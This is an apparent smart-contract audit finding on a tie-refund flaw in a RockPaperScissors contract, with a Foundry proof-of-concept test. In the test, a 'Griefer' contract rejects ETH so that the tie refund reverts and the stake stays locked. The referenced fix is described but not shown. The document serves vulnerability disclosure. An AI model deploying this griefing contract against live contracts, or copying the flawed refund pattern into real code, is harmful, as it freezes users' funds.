The protocol's ETH refund mechanism in tie scenarios uses an unsafe "all-or-nothing" transfer approach that risks permanently locking user funds if either refund transfer fails. This violates the atomicity principle and lacks recovery mechanisms for partial failures.
The contract attempts to send ETH refunds to both players in a single atomic transaction:
If either transfer fails (even if one succeeds temporarily), the entire transaction reverts, leaving both refunds unprocessed and ETH permanently stuck in the contract.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract Griefer {
receive() external payable {
revert("I reject your refund");
}
}
contract RockPaperScissorsTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public admin;
address public playerA;
address public playerB;
function setUp() public {
admin = address(this);
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
}
function test_Revert_When_PlayerBRejectsTransfer_RefundLocksFunds() public {
RockPaperScissors freshGame = new RockPaperScissors();
Griefer griefer = new Griefer();
vm.deal(address(griefer), 10 ether);
vm.deal(playerA, 10 ether);
vm.prank(playerA);
uint256 gamesId = freshGame.createGameWithEth{value: 0.1 ether}(3, 600);
vm.prank(address(griefer));
freshGame.joinGameWithEth{value: 0.1 ether}(gamesId);
bytes32 saltA1 = keccak256("saltA1");
bytes32 commitA1 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA1));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA1);
bytes32 saltB1 = keccak256("saltB1");
bytes32 commitB1 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB1));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB1);
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Rock), saltA1);
vm.prank(address(griefer));
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Rock), saltB1);
bytes32 saltA2 = keccak256("saltA2");
bytes32 commitA2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltA2));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA2);
bytes32 saltB2 = keccak256("saltB2");
bytes32 commitB2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB2));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB2);
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Paper), saltA2);
vm.prank(address(griefer));
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Paper), saltB2);
bytes32 saltA3 = keccak256("saltA3");
bytes32 commitA3 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltA3));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA3);
bytes32 saltB3 = keccak256("saltB3");
bytes32 commitB3 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltB3));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB3);
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Scissors), saltA3);
vm.prank(address(griefer));
vm.expectRevert("Transfer failed");
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Scissors), saltB3);
assertEq(address(freshGame).balance, 0.2 ether);
assertEq(address(griefer).balance, 9.9 ether);
assertEq(playerA.balance, 9.9 ether);
}
}
This approach decouples accounting from fund transfers, eliminates atomic failure risks, and provides admin safeguards while preserving user control over withdrawals.